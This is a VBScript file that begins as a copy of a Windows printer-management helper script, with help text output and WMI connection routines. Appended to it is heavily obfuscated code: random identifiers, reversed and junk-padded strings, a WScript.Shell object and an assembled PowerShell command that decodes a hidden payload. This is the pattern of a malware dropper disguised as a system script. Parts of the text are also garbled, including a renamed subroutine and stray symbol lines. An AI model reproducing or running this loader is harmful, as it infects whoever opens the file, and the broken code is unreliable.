wscript.echo L_Help_Help_General11_Text

wscript.echo L_Help_Help_General12_Text

wscript.echo L_Help_Help_General13_Text

wscript.echo L_Help_Help_General14_Text

wscript.echo L_Help_Help_General15_Text

wscript.echo L_Help_Help_General16_Text

wscript.echo L_Help_Help_General17_Text

wscript.echo L_Help_Help_General18_Text

wscript.echo L_Help_Help_General19_Text

wscript.echo L_Help_Help_General20_Text

wscript.echo L_Help_Help_General21_Text

wscript.echo L_Help_Help_General22_Text

wscript.echo L_Empty_Text

wscript.echo L_Help_Help_General23_Text

wscript.echo L_Help_Help_General24_Text

wscript.echo L_Help_Help_General25_Text

wscript.echo L_Help_Help_General26_Text

wscript.echo L_Help_Help_General27_Text

wscript.echo L_Help_Help_General28_Text

wscript.echo L_Help_Help_General29_Text

wscript.echo L_Empty_Text

wscript.echo L_Help_Help_General30_Text

wscript.echo L_Help_Help_General31_Text

wscript.echo L_Help_Help_General32_Text

if bExit then

wscript.quit(1)

end if

end sub

' Determines which program is being used to run this script.

' Returns true if the script host is cscript.exe

function IsHostCscript()

on error resume next

dim strFullName

dim strCommand

dim i, j

dim bReturn

bReturn = false

strFullName = WScript.FullName

i = InStr(1, strFullName, ".exe", 1)

if i <> 0 then

j = InStrRev(strFullName, "\", i, 1)

if j <> 0 then

strCommand = Mid(strFullName, j+1, i-j-1)

if LCase(strCommand) = "cscript" then

bReturn = true

end if

if Err <> 0 then

wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description

end if

IsHostCscript = bReturn

end function

' Retrieves extended information about the last error that occurred

' during a WBEM operation. The methods that set an SWbemMXFWflrEwpLoTFcvFWAFaFHsiHUptncsTOEuoAkTuPlmrpMMTkHSsNomCzjAStEjOgzqQXfbNBntsKOjBEjlZdEVXroPfzfXRynRuxOMnKwNvKugpQCMAeohdBxFHYAyiKUOYwfaAqUUvBdMAPEzTwdBieHEmrBilxzcQsPliL

' object are GetObject, PutInstance, DeleteInstance

sub MXFWflrEwpLoTFcvFWAFaFHsiHUptncsTOEuoAkTuPlmrpMMTkHSsNomCzjAStEjOgzqQXfbNBntsKOjBEjlZdEVXroPfzfXRynRuxOMnKwNvKugpQCMAeohdBxFHYAyiKUOYwfaAqUUvBdMAPEzTwdBieHEmrBilxzcQsPliL()

on error resume next

dim oError

set oError = CreateObject("WbemScripting.SWbemMXFWflrEwpLoTFcvFWAFaFHsiHUptncsTOEuoAkTuPlmrpMMTkHSsNomCzjAStEjOgzqQXfbNBntsKOjBEjlZdEVXroPfzfXRynRuxOMnKwNvKugpQCMAeohdBxFHYAyiKUOYwfaAqUUvBdMAPEzTwdBieHEmrBilxzcQsPliL")

if Err = kErrorSuccess then

wscript.echo L_Operation_Text & L_Space_Text & oError.Operation

wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName

wscript.echo L_Description_Text & L_Space_Text & oError.Description

wscript.echo L_Text_Error_General04_Text & L_Space_Text & oError.StatusCode

end if

end sub

' Connects to the WMI service on a server. oService is returned as a service

' object (SWbemServices)

function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)

on error resume next

dim oLocator

dim bResult

oService = null

bResult = false

set oLocator = CreateObject("WbemScripting.SWbemLocator")

if Err = kErrorSuccess then

set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)

if Err = kErrorSuccess then

bResult = true

oService.Security_.impersonationlevel = 3

' Required to perform administrative tasks on the spooler service

oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"

Err.Clear

else

wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _

& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

end if

else

wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _

& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

end if

WmiConnect = bResult

end function

function BkXJowNbhpZaxOlqWElgudeMttulOirofgQIshNIqWfgtjgYGlBXmZrVPcwjOOvlAYxnCDZGYYkFEUpUpuJhfpvGCXvvavdwNPQdWIrmxqdWyLanTbPMYvpDEvDXNgiCUaPKePHCxOSHQxuastbTLhtdWSWprmecIPpWiTtQNu(UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag, bkgrytuymubCpWdtBBuuklWmTSoUmaxtVysFWjRrwexLGBzyyRZoGTqGeAPLhmjNykysZkilxTwbruFYtsazpjqklrOcRyuywXcvECGGnRijrFSvxXXlvCTCHLZRDWhNIEkZwtqdffnZsazpxdxZCqQnWNDqeebSDZuswoswgz, nNwiGOuviQXcWlUBPDtzwrgarQsuxRFHkCqtJmCaVkuKmAfpqctAkMdqGeWaCBWFFkMIUgtvshuSurkxAQJWIqKLhPZpDMoySOwjUHoPMICeNdwLxnXszKjmuCJzXDKMVaZKjbhBeEgGOKsIvxpStCuSDBffkmWygAPHtxxGTq, JAbQfcFiJujPlzcxMWZnQovSxKVCUGHwTArEjiqaFUifJhlUwFheatDNDZCevkaFYslVZWbWeRJqwYNQneusiedycvsrYsIToBXCKzltHGjybqgoxJovkmzwBXGlhGQZgTIsjOgPZWpOYqJdQrfwSTfoWBHHodfihDjvPcRyAG, ylVPcCewxbWqXVwwEjRNgnanBdEwIKluDsDwkcDaRqQFAAYcSMUDwbsfKAhsmHNokpmpLHJqWwuZLwYAAFyWkkJksfsuVnvNCZinuNVsjsVORCTXBCSoibdjVjlPmfQWgDsAktDHSPtVkWHISHliTlrU

end function

on error resume next

VSDLQxokhuSQYNxqxJuiuRbIOTPqsBsLcQQdfGJEzLzGnwQvAmMowCRKgUZyuyYzmfoJVaghEBSJVfzUFVfcWnNNjxtyOtycXpdxDnyZeLPImfBDQJnrxpbcTRctrhHHwJsESgNpstOhmxlOHxpUXVShJqrJXgOzAsryZCUyge

XWCeQblxPtHxhAefPRUuEHAEDQoADzxXsjDkfYpyIpiUKasOnoVIWpGLZhWKXQUfTIcfFZvcGywWfKnpMnVKSDamXGPFjufRRdAKccbMTXQUJrRdMxQJyEILIBMtWXKDkgJUrFDtnrNvanhLipfSPnIgIMsaZGoGPvDSXSmQIF

rmexxjErtdCgAovdZYizvAjhzoCtoPACNGwkaNxURrYxTGgrkgluIlkWPNOllYoRUgFwDuFQiKgaFOSOzWWwlZFQOJBaXbgjYijTinpFTRTWFpNOdbUvNaFPpbyhaUofApyhOWEAblzxQHwWllrysibPbrgjUBphKQYiSvJDSr:

SUlaANwKrHMQpwiGnNMcjVqUpBlrnjuVadqBhuKiUGAikUiVLyeyGIzDnCYyLLjRVuuDjugsxcDGyloCkXRzZDAdrSJYJPZHSorGAgfOjbPliAZczLLEGJEGPxHLnrIiWwRnKvKUExUhrOmaCMfODzlOTBwnJLYsSCPAFfTiXD:mdiCiNncFmBBlQbVSfyhYXsGgRQvOCoQHHqFOMkBEoqvTEsNrjvFaTDTJttkeEesWbaNotUygEpxmmdsNjBDggCYhjMpXCWtyWFpXSlsRigwyLdcDDejyFCtMtoSNIExCPTHnqjqMIYTpeIMKEhiJknzmNlGqowQEOKubdTmtO:szgSIcGbQoRoBUSQoMpectBMKdaeFrHiZOgQJkzFTrCrdMxOMgnwYIEAmhyATuxdDjBmUePUlkWnPXuCZEZvfWALTiIiKTskobFvuabGuftwUvyerTYdDowdVBIxdrSujCnQlrGFUayKGxinVlmRmSYnTNYvYQimmJQtaIhClf = "MsygoRr":NWcldVclBBzndWcMQYMnIxNfQJEIsUTnVDxXxICCVgtHZOSIkjVHGnWKEgGhcvQvrrZiJtnNbBDNpaOvzMOKHsUGfKPjAqXWzYqFtuOBIXlZRHniYMkiVsyWtCjBewxjnkOWssqIfZXRemxcEgQkNdQAjIoWBdyRuUaAxpIYVj:MyEVRKfgJfQxmvbkzHwvEFFdsmdWwPHizwklcBMkoELqoUyTZHqDInkiYxvIZFvvmiIiDZhdEpKjdQCGWmfWHvbwESJJmWDDuxgurAywgDoAJblaOyRAkolunYxJofOMKeQXjnlXzHSKPXCbJnlgKJSjQmTHJlMwmJoGXSwQvN:

ZuCgiDwAdnoNhpQyfKVVbKrNcpewbbDhELxtVlTflditfkaqYlZabdCcTTVDNpEaCKnyqsvOlEyFVWCjNIdPfVTJFwsFeyYpggzoRQjsWaUMUNIALzCfJfNNFKTEbaiVFMzKKuGwYAxtRENaXhVfbWPMZqikKViUqfRrcVwktG

ByVjMYCWdMraPsFFvpGwiqwuOquJRwGXEMWqNngGVNKChJAiXTaJcFqyoltCydLFpZJBDjgAmwEhCXFhfHOfTqbKuZjsEZNgNuxgplYLsLxnPAWqtMiVcBncbOKJaivTblvrJUorFAkNAndDpQbaIZohXLegaOJdJyFaenHwHW:

nrVzukUreeUIDKJzGWGjakCmEDRzLBNqvYRqQFBIZBVkmqxfBeyJrtLaYjSzXWzifaDhajxEubPNPwhPPAWaMeFHdCQAKwSoyIesNqWGrNKKBcRrzhtoOyoiHLedztPOacBTPMeVNbKQNWuWHYwBpABqcwiFesokEGmGYSBkvS

GbAgMRptUZLdcqVfGYFlzLbLqaTxsaXOcPaDQJGMkPSmEUtSnuspKqKiATkAYJlHSWlcLViCbRnpRrozrRRaDKLUapTuuwfYFcLZIkLUWpjfnfYYizejtUKkWXWDQNwiPykGLbBmkfivTyfcappaeyCHsgTuXtgXpZJkujpciH:

LMWrUTWCJOZvhoTluPooXvOwlgdnYXJGWKnDYSiakKWdghOSvrYpWNOSqywTRJnLMTxwScXWqyAPRWrcKjyeAxNqepfJwKXYXnLrGadOhfKKRjfukSNpgCqGlZYoPTbCJRUHldkLjYYRGImXXTdcGRhgLWdKDWweHjkepplkCP = " "

KybtAYORWcSgYlqJOIXiPccycDOKUWyOaeKwchoSYDggZYhagvcvXInkwpTKXmXKdndyaCAeifbUcTcCOwcWeWWYQbzmTetviQOcYSAGYCPweYcZGkNLycyOMnUinRoccIvaDAcOwUvQYKnAARcCWebRWieWUXUWNZRvcwDGcT = StrReverse("=XGKIrIYphQKXGKIrIYphkCXGKIrIYphnXGKIrIYphQdXGKIrIYphMGXGKIrIYphnXGKIrIYphXGKIrIYphIXGKIrIYphwCXGKIrIYphgXGKIrIYphwJXGKIrIYphUGXGKIrIYphkBwJXGKIrIYphXGKIrIYphCXGKIrIYphsXGKIrIYphXGKIrIYphIXGKIrIYphcCXGKIrIYphhBwcXGKIrIYphQGXGKIrIYphhBXGKIrIYph" & sGXUWBQchWPgGbJQGRQxPfWWGKGOKSWPJzONcJyYikyIDzjwgccOJLzrGWWTaWfsGNmWwLbxYYXWYiaLPyRPKLLwcScWvzfWYBQaDYARzcIqAiCyYrWdfhbPSHKxGcTYjaAikACUyKWBwWLDbcTLwAyPWNJOWRPPgXWWaQkYYc & LMWrUTWCJOZvhoTluPooXvOwlgdnYXJGWKnDYSiakKWdghOSvrYpWNOSqywTRJnLMTxwScXWqyAPRWrcKjyeAxNqepfJwKXYXnLrGadOhfKKRjfukSNpgCqGlZYoPTbCJRUHldkLjYYRGImXXTdcGRhgLWdKDWweHjkepplkCP & sGXUWBQchWPgGbJQGRQxPfWWGKGOKSWPJzONcJyYikyIDzjwgccOJLzrGWWTaWfsGNmWwLbxYYXWYiaLPyRPKLLwcScWvzfWYBQaDYARzcIqAiCyYrWdfhbPSHKxGcTYjaAikACUyKWBwWLDbcTLwAyPWNJOWRPPgXWWaQkYYc & "XGKIrIYphcCXGKIrIYphgXGKIrIYphXGKIrIYphLXGKIrIYphXGKIrIYphCXGKIrIY

KybtAYORWcSgYlqJOIXiPccycDOKUWyOaeKwchoSYDggZYhagvcvXInkwpTKXmXKdndyaCAeifbUcTcCOwcWeWWYQbzmTetviQOcYSAGYCPweYcZGkNLycyOMnUinRoccIvaDAcOwUvQYKnAARcCWebRWieWUXUWNZRvcwDGcT = Replace( KybtAYORWcSgYlqJOIXiPccycDOKUWyOaeKwchoSYDggZYhagvcvXInkwpTKXmXKdndyaCAeifbUcTcCOwcWeWWYQbzmTetviQOcYSAGYCPweYcZGkNLycyOMnUinRoccIvaDAcOwUvQYKnAARcCWebRWieWUXUWNZRvcwDGcT, sGXUWBQchWPgGbJQGRQxPfWWGKGOKSWPJzONcJyYikyIDzjwgccOJLzrGWWTaWfsGNmWwLbxYYXWYiaLPyRPKLLwcScWvzfWYBQaDYARzcIqAiCyYrWdfhbPSHKxGcTYjaAikACUyKWBwWLDbcTLwAyPWNJOWRPPgXWWaQkYYc + LMWrUTWCJOZvhoTluPooXvOwlgdnYXJGWKnDYSiakKWdghOSvrYpWNOSqywTRJnLMTxwScXWqyAPRWrcKjyeAxNqepfJwKXYXnLrGadOhfKKRjfukSNpgCqGlZYoPTbCJRUHldkLjYYRGImXXTdcGRhgLWdKDWweHjkepplkCP + sGXUWBQchWPgGbJQGRQxPfWWGKGOKSWPJzONcJyYikyIDzjwgccOJLzrGWWTaWfsGNmWwLbxYYXWYiaLPyRPKLLwcScWvzfWYBQaDYARzcIqAiCyYrWdfhbPSHKxGcTYjaAikACUyKWBwWLDbcTLwAyPWNJOWRPPgXWWaQkYYc , "Z")

bFnvGWfwXWSEHGdZGNTvOOMjGkkuxpNZkqbjLoSYcKapkexmLtzZDOycwyTTGpPMjWhRgmlTqCvQZJUwoerQhAxzEsIvOzxxclxfRreeJXYkAgeqiSJGLQvAqotsjNtHwHcWyryfzgEysTwKYyzPxtDPeyCucbgchtQUxmejpv

EAafSBDpIUgKFeJHYDsQoELBUGaDprOwBnpOmJdZSpaAcXSBqgQPwJvRqogjzuDGCeVljccYqMVMkmjPBUFRDFUnuQzHdZBeHsjnSZgYdcRlyAizvCYlOAeKMBLjHxTaKYAvFTVtTHLdvuUHidnAkfDpANmugGCrVbtyZsjubD:

Set lKDnBPrkWWSIlqmdKbURHZETtgaeTwCtFDpMowGNaxpLsqLZPcIihfUyfiXQrCkCVTXRILeYyxandJwipjCVfBpsLVnfWIcfvhWtAJnzNmukTNcRAXMomMDTFeFyELbjmtXyjdIZJSYhKwCwzwSeZTlREJcYpUBxsMeogFtzfd = WScript.CreateObject("WScript.Shell")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = (StrReverse("' = ogidoC$")) & KybtAYORWcSgYlqJOIXiPccycDOKUWyOaeKwchoSYDggZYhagvcvXInkwpTKXmXKdndyaCAeifbUcTcCOwcWeWWYQbzmTetviQOcYSAGYCPweYcZGkNLycyOMnUinRoccIvaDAcOwUvQYKnAARcCWebRWieWUXUWNZRvcwDGcT & "'"

oKHnStfepbCvYLLRhGqmLHYePlbpmCcPWRhieblgHQumSEWiTffZOpVjzNrRtEjuhznxGziPcLdMeZcSzDwgDQBpqTljlKNyWZYaEswQsIkfRMiYOgrThTGzQnPRCpeZAcCvNOAuiYNpVRsVkmpybRPbEimqYmgRNpHJmJBVDO

cWexAYHwPCRGHPiypkTcLMltzNLdcqeVNXjiZwTsMWHemhWBRFZFSGxcyLFweEgEumHkWOmwlcsdLYyFGULhWGzHgjecjArKFPUClsrDDRBghaQQRolVnbWEFtVLwulfDZuZmuqvvWROjAkHiHmFqwhxczDJuOgNPEpIujkhEM:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & StrReverse("(gnirtSteG.edocinU::]gnidocne.txeT.metsys[ = dxujWO$;")

WEkbmfKAhUlfnEDgbTaehhEzHwrpFEpplGPTGJjqmvShUptYFUgsXJMVTMcFzFPQIKFseoHttWtFExTmvBPaMnPnIGGGVWWUHkwEjbsmLxLNcqYeDBpgGWBKvuOBGvqzsSvpocKRnmZLzNtJIRTdCnkqAJlqpRecNuMyoEPhJX

kqbSIkhRNiPCpVqTnCeLFgUHpvoJvBPlfiBzEAfsTErgWZLRGDWNwqHUJhUeIEwqkrooSWiwJseMfwcwdbuncpVYgoGpGPrkOuSPIsTSxLAsHhjeJUnVeRDILuKCfebarAIkMdeDRFavJRiXESeVhXyNjBsMqwDBQqQYikwhOp:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "[}]}

@#}#(]

(]4@((

@#}#(]

(]4@((

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "#}

#@:##}@

$$:$(:

#}:@$(

]@}#$4#

]4*}*@

]:}4@@

ZWuKPvNBmXMevRTjuQUVNTOIgBSNIvjmeNPwMPVJSePcwCoBxwvCpzPPPBUIXiNOKGHqwrxaQgAtmqvckvcxsOMjXtuJhnesLFAjANcggayVGGcPuUMAMpVrilsfhBgywttiOnXGKGUhFdZDulCaKAFbwoozgmsfmlBiLzyWUM

iFpKdlNjzxDTkcgJXdgLxiOlnvpkKkygJdmghlAbmihxpIvzRQlblInZofHubZIxzNbLmCLKDdObmOXnerRPDypetfmzBhWRyAoSbeqKwmNjuJYgxWPGwQLUeERFWWQzTBJINmFcnykGalPdHTZLBowyjTRCzKqTqZEuDmqSVT:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "m.C:((

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "nv@+(

]4*}*@

]:}4@@

BxEMuXZPwnQvnqidGObZhIPqdYgPTnQriTtxvbQHhrXfTZMzmAUgEVCLRybBgwXjZZLDKBsaakunHYDiTjdVlpiDQFKHzzFeCboNwmKsBntZKQEiLNfURIzPFemRtpTROSJUuGUHUzLzNxOmSYkSFWBFMKJVasfJUrnWVaVdJz

HgCvywsDmdYMQGMPCmlKBxeDZwvhmpSEHVzEJjLhWmpnQmwQqRmJlmMMmFyXydTfDmVwOkhUbEcsNSgbpYqDjgXHUjJyZNxgqdnWjGQLVCooMtYYMpZZtxIrSWwbzJhRkyxJGXxraUoNokaNCqPptLsYLVPjILRjVswIRBUeUk:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "#}

#@:##}@

$$:$(:

#}:@$(

]@}#$4#

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & ":Fr:((

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "mb]

$}]$@$}

$}@}]}

$}$$@$

$@$}$$$@

}@$$$](

@#}#(]

(]4@((

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "@+(

]4*}*@

]:}4@@

@#}#(]

(]4@((

}tring( $c"

MgmOKgHezgMLgJcSUjlJUHVMAuEUJJUcGHJCgIBZWWPYBKZGAYtYrCeBMGukejARyIhMdQHeeNziWNromAcWQPdoUzozVYTdSZZNkFycnAvbddHlhVZFfJPLZRRNzABqwGzXCSlcfAAITdkoljEbehMmEDmTxYWRVImoAATPlN

qAnZaZcMRlrkHWzwnEhyPaarctBCupOVFJhdrCXJlMWPJAitUteIJriUHaYNsHrLKgRoZButRkMGCAsunoTRgiiyOcCrrfqsGKCOZfdCcjkvvthaxrEzJaTvTpiaJlOwtzRiZKtvUDkHwUFraOUqjSOsaQNPIKEfMmyhUGPLMi:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & ":((

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "ig:((

]4*}*@

]:}4@@

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "pl]

$}]$@$}

$}@}]}

$}$$@$

$@$}$$$@

}@$$$](

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "c@+(

]4*}*@

]:}4@@

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "hpYIrIKGX"

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "','"

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "}(#

4@4#4](@#

#4(#(@

(+@#:4:#@

@]}}#@

